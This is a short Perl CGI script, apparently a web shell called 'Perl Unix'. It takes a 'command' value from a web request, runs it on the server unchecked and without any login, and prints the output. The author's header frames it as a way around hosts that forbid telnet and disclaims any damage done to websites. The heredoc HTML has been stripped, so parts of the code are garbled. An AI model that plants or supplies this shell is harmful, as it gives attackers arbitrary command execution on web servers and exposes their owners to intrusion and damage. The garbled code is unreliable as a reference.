Perl Unix

#!/usr/bin/perl ######################################################### ## Created by: crak@LinuxStart.com ## ## Program: Perl Unix(Unix Command Line) ## ## Be careful where u put this most hosts dont allow ## ## telnet access ## ## Whatever you do with this program does not have ## ## anything to do with me, so if you damage someones ## ## website or they damage yours TOO BAD, im fully ## ## UN-responsible for this ## ## Your may use this program as long as leave headers ## ######################################################### print "Content-Type: text/html\n\n"; use CGI qw(param); $command = param("command"); $pork = `hostname`; $net = "—"x 53 .""; if ($command eq "") { print < Perl Unix
Perl Unix

Server Root Server

EOF exit; } if ($command ne "") { print "Perl Unix

"; print "Result of Last command: $command

"; print "$net

"; @telly = `$command`; foreach $rooster (@telly) { print "

$rooster"; } }